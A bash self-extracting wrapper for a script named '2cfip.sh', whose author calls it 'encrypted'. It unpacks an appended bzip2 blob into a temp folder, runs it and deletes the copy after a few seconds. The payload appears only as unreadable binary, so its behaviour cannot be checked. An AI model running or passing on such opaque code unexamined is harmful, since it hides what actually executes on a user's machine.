#!/bin/bash # # Encrypted by Rangga Fajar Oktariansyah (Anak Gabut Thea) # # This file has been encrypted with BZip2 Shell Exec # The filename '2cfip.sh' encrypted at Tue Mar 12 13:39:30 UTC 2024 # I try invoking the compressed executable with the original name # (for programs looking at their name). We also try to retain the original # file permissions on the compressed file. For safety reasons, bzsh will # not create setuid or setgid shell scripts. # # WARNING: the first line of this file must be either : or #!/bin/bash # The : is required for some old versions of csh. # On Ultrix, /bin/bash is too buggy, change the first line to: #!/bin/bash5 # # Don't forget to follow me on skip=75 tab=' ' nl=' ' IFS=" $tab$nl" # Make sure important variables exist if not already defined # $USER is defined by login(1) which is not always executed (e.g. containers) # POSIX: https://pubs.opengroup.org/onlinepubs/009695299/utilities/id.html USER=${USER:-$(id -u -n)} # $HOME is defined at the time of login, but it could be unset. If it is unset, # a tilde by itself (~) will not be expanded to the current user's home directory. # POSIX: https://pubs.opengroup.org/onlinepubs/009696899/basedefs/xbd_chap08.html#tag_08_03 HOME="${HOME:-$(getent passwd $USER 2>/dev/null | cut -d: -f6)}" # macOS does not have getent, but this works even if $HOME is unset HOME="${HOME:-$(eval echo ~$USER)}" umask=`umask` umask 77 bztmpdir= trap 'res=$? test -n "$bztmpdir" && rm -fr "$bztmpdir" (exit $res); exit $res ' 0 1 2 3 5 10 13 15 case $TMPDIR in / | */tmp/) test -d "$TMPDIR" && test -w "$TMPDIR" && test -x "$TMPDIR" || TMPDIR=$HOME/.cache/; test -d "$HOME/.cache" && test -w "$HOME/.cache" && test -x "$HOME/.cache" || mkdir "$HOME/.cache";; */tmp) TMPDIR=$TMPDIR/; test -d "$TMPDIR" && test -w "$TMPDIR" && test -x "$TMPDIR" || TMPDIR=$HOME/.cache/; test -d "$HOME/.cache" && test -w "$HOME/.cache" && test -x "$HOME/.cache" || mkdir "$HOME/.cache";; *:* | *) TMPDIR=$HOME/.cache/; test -d "$HOME/.cache" && test -w "$HOME/.cache" && test -x "$HOME/.cache" || mkdir "$HOME/.cache";; esac if type mktemp >/dev/null 2>&1; then bztmpdir=`mktemp -d "${TMPDIR}bztmpXXXXXXXXX"` else bztmpdir=${TMPDIR}bztmp$$; mkdir $bztmpdir fi || { (exit 127); exit 127; } bztmp=$bztmpdir/$0 case $0 in -* | */*' ') mkdir -p "$bztmp" && rm -r "$bztmp";; */*) bztmp=$bztmpdir/`basename "$0"`;; esac || { (exit 127); exit 127; } case `printf 'X\n' | tail -n +1 2>/dev/null` in X) tail_n=-n;; *) tail_n=;; esac if tail $tail_n +$skip <"$0" | bzip2 -cd > "$bztmp"; then umask $umask chmod 700 "$bztmp" (sleep 5; rm -fr "$bztmpdir") 2>/dev/null & "$bztmp" ${1+"$@"}; res=$? else printf >&2 '%s\n' "Cannot decompress ${0##*/}" printf >&2 '%s\n' "Report bugs to ." (exit 127); res=127 fi; exit $res BZh91AY&SYDs_ 0}w }$}bV $hCI6ڙM2i FhL0 &2`#2iCF d& ba4F&L&dCdFL`FM2hhѠ4d CL&h2dɀ ST&ihC "U4M2 h4@4R  FE<)?R~SoSQ{HTdi 4 i1oF {ޓ݆t`}X :yL\_#v-M9ORhuC%e򠧜3_6z3JQ|D.K JtCXcFhBƜE]!TS{2 :eY*@4u岅L$P "#ԗuJCck?j9@ 7`}v(=vzˏ'3lC^di5va JaBr~gZa`#Jl5xn7B @l\;>gUNED뮺-r.%u]umӑw"$Nif! =t!H{s?Iފg(C &o*S}3$Ql\$2IUrfT9t` A~oҧR`o*۰1w9W*K~M&Phœ- Nx^'h+zP}J3/L_YhLv#{~9ʽfɠP߈}GwYJ C(A@0O! 5CXӮß/bB`Ie"IhoJ$ a ޮ SO=)/NJj^dANyaUh`c1׽{ @)>i*<[Pnq!<9k\6q/d4Hc (p}9swiw]&SvT#6;ݟ)J_ UPdYSP ABQ# /()RJR)J%8kscxZV `5v1{C [@r}T!!|sf!V= [7cYTnցx11AA@rB CA3 @\DD(ZIƳH[F2E/dDDx )Hv2C sO+C#n &v2! 4JqrOgV8sjC4[Fccl.&AL)+IPg!. -GZ<^AOY?8u)\&dH,8)p%BE1ȤN'w<+!GɞcpǁEbqFli/tʊAnH =MGg9wtW])7WјqmU3xuw'T`+$!,0c0c0c0c0c0c0c0cp"a4/AZE+> t]N=|_hi|_<;8ĕn`蘺bR,WIka$p%EbУРhX|zC1#) ӺRM7[ `Vْi ZSgOOh]ƀ~i՝Ymt%kui&a4hrrQs}orPVt|REh.*+a2T!joc*t&h-y6ப 8H bbF>kP`5qJW eR2`7 .U;N*. C \jC 5C)5dSWM[?xp ˷[HnIbQzR!ˑFKD:BF–)DKL#@0*JI4Kr%ii#ZhfדzLTcJP%8Xݐ 0\D&@BHL$q͠,dixKCZ Fh3Xr瞠 "F\B!>B>kSp@H(07Wb`HiX / Nَ\?w߆`xLs%("L@@Ȑ 3cVLkPfM|“nJ01cN F.j7A"9\w ` jD8EB